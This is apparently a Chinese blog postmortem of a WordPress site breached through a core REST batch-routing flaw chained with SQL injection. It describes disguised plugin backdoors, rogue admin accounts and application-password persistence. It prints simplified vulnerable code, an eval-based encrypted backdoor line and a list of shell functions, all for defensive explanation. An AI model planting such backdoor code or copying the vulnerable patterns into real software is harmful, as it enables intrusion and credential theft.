后台有两个字,是我最不想看到的:x。
文章列表里躺着 11 篇已发布的文章,标题都叫 x,日期全是 2020-01-01,作者全是我自己。用户列表 23 条,其中 22 条是 administrator。插件目录里还有 11 个名字一模一样的 cache-optimizer。
那台机器是从主站复制出来的影子站,我当时的结论很干脆:迁移没做干净,留了一堆垃圾。至于清不清,我想了想,先放着——反正不影响访客看文章。
这一放就是三个月。拿到取证报告的时候,我才知道那些"垃圾"是什么。
🕳 那天我看漏了什么
每一项单独看,都像一个正常的疏漏。放在一起看,是一份写得清清楚楚的入侵报告。
| 我看到的 | 我当时的解释 | 实际是什么 |
|---|---|---|
| 22 个 administrator 账号 | 迁移时重复导入的 | 攻击者自己创建的,占全站 23 个账号的 96% |
11 篇标题为 x 的已发布文章 | 建站初期的空壳测试 | wp2shell 的写权限探针 |
11 个 cache-optimizer-* 目录 | 反复安装失败留下的重复目录 | 命令执行后门,5 个变种 |
| 4 条挂在本人名下的应用密码 | 完全没注意到 | 攻击者冒用我身份的凭据 |
那张表里最关键的一行,是那 11 篇文章的日期:2020-01-01 00:00:00。
WordPress 后台按日期倒序排。把时间改成 2020 年,这些东西就自动沉到列表最底部,翻三页都看不见。作者写的是我,所以按作者筛选也一切正常。
这不是运气,是设计。他们专门把它伪装成了"我自己的历史遗留"。
我犯的错不是没看见,是看见了以后给它找了一个太合理的解释。"迁移残留"这四个字一出口,思考就停了。我没有追问那句本该问的话:一个从主站复制出来的、只跑过几个月的新站,哪来 2020 年的文章?
🔓 洞是怎么开的
这台机器是被 wp2shell 打穿的。它不是插件漏洞,是 WordPress 核心的洞,影响所有装了什么插件都不影响的默认安装。
| 项 | 内容 |
|---|---|
| 主漏洞 | CVE-2026-63030(REST API 批处理路由混淆),CVSS 9.8 |
| 链式漏洞 | CVE-2026-60137(WP_Query 的 author__not_in SQL 注入) |
| 影响版本 | 6.9.0–6.9.4、7.0.0–7.0.1 |
| 修复版本 | 6.9.5、7.0.2 |
| 披露时间 | 2026-07-17,Adam Kues(Searchlight Cyber) |
| 需要凭据 | 不需要 |
机制一句话能说完:批处理接口把「验证」和「执行」拆成两个独立的循环,两者靠数组下标对齐。攻击者往批次里塞一个畸形 URL(http:///),解析失败导致匹配结果少一项,后面每个请求的处理器就整体前移一格——用 A 路由的宽松校验,去执行 B 路由的处理逻辑。
// 修复前的批处理分发逻辑(简化)
foreach ($requests as $i => $request) {
$match = $matches[$i]; // 按下标取,错位后拿到邻居的处理器
...
}
而它要执行的那个处理器,正好有个参数没洗干净:
// 修复前:只有传数组才净化,传字符串原样进 SQL
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', $query_vars['author__not_in']);
}
两个缺陷单独都不致命,叠起来就是:一个未登录的 POST,能往 wp_users 表里写一个管理员。
日志里第一次出现这个请求是 2026-08-04 08:29。从第一次探测到坐在后台里,10 小时;从建号到登录成功,4 秒。
⏱ 那 118 天
这是整件事里我最想写下来的一段,因为它跟技术无关。
这台机器被攻破时,跑的是 WordPress 7.0.0。而修复版本 7.0.2,在 7 月 17 日就发布了。
第一次攻击请求发生在 8 月 4 日。补丁发布 18 天后,这台机器还没打上。
从 7 月 17 日到 11 月 12 日升级完成,一共 118 天。
我一开始以为是自己关掉了自动更新。翻了站点的配置文件,没有任何 AUTOMATIC_UPDATER_DISABLED 或 WP_AUTO_UPDATE_CORE 之类的常量;WordPress 对这类严重漏洞默认会启用强制自动更新。
真正的原因更无聊:这台机器没人访问。
WordPress 的定时任务不是一个常驻进程,它挂在请求上——有人访问,wp-cron.php 才跑一次,队列里的更新才可能被执行。影子站没有真实访客,日志里 15 天只有 6 次 wp-cron.php 请求。
所以强制自动更新一直排在队里,没人来点火。
直到 11 月 12 日 12:01:27,有人打开后台登录页,浏览器顺手请求了 wp-cron.php,WordPress 才从 7.0 升到 7.1.4,重写 1257 个文件。
这次升级靠的不是运维流程,是有人恰好点了一下后台。
还有一个必须说清楚的:升级不会删任何东西。15 个后门文件还在原路径上,22 个账号还能登录,4 条应用密码依然有效。
门锁换了,屋里的贼没走。
🪪 最阴的一步
08-04 18:25:24,攻击者建了第一个管理员账号。
14 秒后,18:25:38,他给我的账号(user_id=1)签发了第一条应用密码。前后一共 4 条。
为什么这一步比建管理员更麻烦:
- 应用密码是
$generic$格式的独立凭据,和user_pass字段没有关系 - 改登录密码、换 salts、强制下线所有会话,都不会让它失效
- 它走 HTTP Basic Auth 直连 REST 接口,不经过登录页,所以验证码、登录限速、失败锁定全都拦不住
- nginx 日志里的用户名段显示的就是我自己,审计时看起来像本人在操作
它的杀伤力在于:攻击者不需要一直有账号。只要有一条应用密码,他随时可以"变成我"。
查自己有没有被挂,一条命令就够:
cd /path/to/wordpress
php -r 'define("WP_USE_THEMES", false); require "wp-load.php";
$ap = get_user_meta(1, "_application_passwords", true);
printf("应用密码条数: %dn", is_array($ap) ? count($ap) : 0);
foreach ((array) $ap as $x) {
printf(" %-28s 最后使用 %s 来源 %sn", $x["name"], date("Y-m-d H:i", $x["last_used"]), $x["last_ip"]);
}'
一台只写文章的博客,这个数字应该是 0。不是 0,就有人在里面。
🧱 唯一救了我的配置
那台机器上 11 个后门带命令执行,但一个命令都没跑出来。
后门的命令执行模块写得很讲究:它先读 disable_functions,然后按 system → passthru → shell_exec → exec → popen → proc_open 顺序轮询,挑第一个没被禁用的执行。
而宝塔面板的默认 php.ini 里,这些全在禁用列表上——system、exec、shell_exec、passthru、popen、proc_open、putenv、pcntl_exec,一个没漏。
这是整件事里唯一一道真正起作用的防线,而且不是我加的,是面板默认值。
说句实话:这不是设计,是巧合。同一个机器上的加密后门解密后是直接调 system(),根本不读黑名单——它没成功,只是因为 system 恰好也在禁用列表里。
哪一天为了装某个插件把 disable_functions 清空,这两层保护会同时消失。
🕵 后门长什么样
15 个组件去重后是 4 个家族、8 个变种。
| 家族 | 数量 | 伪装 | 能力 |
|---|---|---|---|
cache-optimizer-* | 11(5 变种) | 性能优化插件 | 命令执行 + 凭据收割 |
allinone | 1 | ALL in one SEO | AES-GCM 加密后门,功能最全 |
lab_wp2_cmd | 1 | 404 页面 | 文件管理器 |
flavor-starter-* | 2 | 空白主题 | 极简命令执行 |
cache-optimizer 的 5 个变种是逐代加强的:从 4631 字节到 8597 字节,功能从"执行命令 + 导出 10 个用户"一路加到"扫全库敏感字段 + SMTP 配置 + AWS Key + 以太坊地址"。同一套工具,多个操作者接力上传。
所有后门共享一个特征:它们都不在 active_plugins 里。攻击者直接按文件路径访问 /wp-content/plugins/xxx/xxx.php,后台插件列表里干干净净,看不出任何"已启用"的痕迹。
访问时无参数返回一段固定标记:
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
这是一个心跳接口。攻击者用它批量探测自己撒出去的几十个站,哪些还活着。
最值得注意的是 allinone。它把载荷用 AES-128-GCM 加密,密钥从 URL 参数传进来:
if (isset($_GET['k']) && isset($_GET['i'])) {
eval(openssl_decrypt(substr($data, 0, -16), 'aes-128-gcm', $_GET['k'], OPENSSL_RAW_DATA, $_GET['i'], substr($data, -16), ''));
}
文件本身不含密钥,静态扫描什么也找不到。但它有个致命破绽:密钥是明文放在 URL 里的,所以 nginx 日志里留着完整的一行。用日志里那对密钥,我把 1537 字节的载荷解了出来——里面有任意 URL 跳转(黑帽 SEO)、命令执行、一句话创建管理员,以及一个"把整台机器打包成 css 文件"的功能。
那个打包功能会去读 /etc/shadow 和 SSH 私钥。它没有执行过——产物文件不存在,日志里也没有对应请求。这是本次事件里最值得庆幸的一点。
📉 他们为什么停手
不是因为被发现。
9 月 25 日之后,只剩两次"确认还活着"的探测;10 月 31 日之后再没来过。
原因是收益归零。那台机器没有 WooCommerce、没有支付插件、没有 .env 文件,执行函数全禁,唯一值钱的东西(数据库密码)已经拿到。
后门的收割模块写得像一份商业清单:12 个支付网关的密钥、SMTP 凭据、AWS Access Key、钱包助记词、WooCommerce 信用卡令牌、全站用户邮箱。
它不挑目标。扫到谁算谁,榨干就走。
这也是为什么"我这个站没什么值得偷的"是一种危险的判断——攻击者不判断,他只跑脚本。
🧾 我这次做对的四件事
事后复盘,处置顺序比处置手段更重要。
一、先冻,不删。 把站点移出 web 根目录、拦掉 vhost。零删除、可回滚,所有后门在同一秒失效。反过来做——先删后门再补洞——是错的:漏洞没堵住时清账号,4 秒就能被重建出来。
二、删之前先打包。 31 个文件,每个带 SHA256,含 15 个组件的原始源码、数据库快照、攻击证据日志。没有这份东西,上面所有结论我都写不出来。
三、按依赖顺序处置。 补洞 → 删账号 → 撤应用密码 → 清后门 → 换密码。应用密码这一项排在建号之后、换密码之前,因为它俩的因果关系是反的。
四、这台机器直接弃用。 它是 4 月从主站复制出来的副本,和线上完全重复。一台被 root 级工具扫过的机器,重建信任的成本高于重装。
🔁 能抄走的三条
第一,副本不是备份,是复制品。
影子站从主站复制的时候,把数据库密码一起复制了。攻破一台,等于拿到另一台的钥匙——这是横向移动最省事的一条路。
任何"测试站""影子站""临时副本",都该有独立的数据库和独立的密码。复制站点不难,难的是记得复制完之后把所有共享的凭据切开。
第二,应用密码是第二个后门。
它不是密码,是凭据。改密码不会让它失效,换 salts 也不会。巡检清单里必须有这一项,而且要看的是条数,不是有没有开这个功能。
第三,看起来像垃圾,不等于垃圾。
22 个管理员、11 篇空文章、11 个同名插件目录。我给了它一个合理的解释,然后就不再看了。
入侵痕迹最擅长的伪装,不是藏起来,是长得像你自己的疏漏。
现在我每次登录先看两个数
被这件事教育之后,我在后台养成了一个三秒钟的习惯:登录先看两个数字。
一个是用户总数,一个是 user_id=1 的应用密码条数。
这两个数字我在自己脑子里记着。它们变了,就说明有人进来过——不需要看日志,不需要查文件,三秒钟。
还有一项没做完:两台机器的数据库密码是同一套,这条还留在待办里。
写下来,是为了不再犯第二个错——把"看起来像垃圾"当成"不用管"的理由。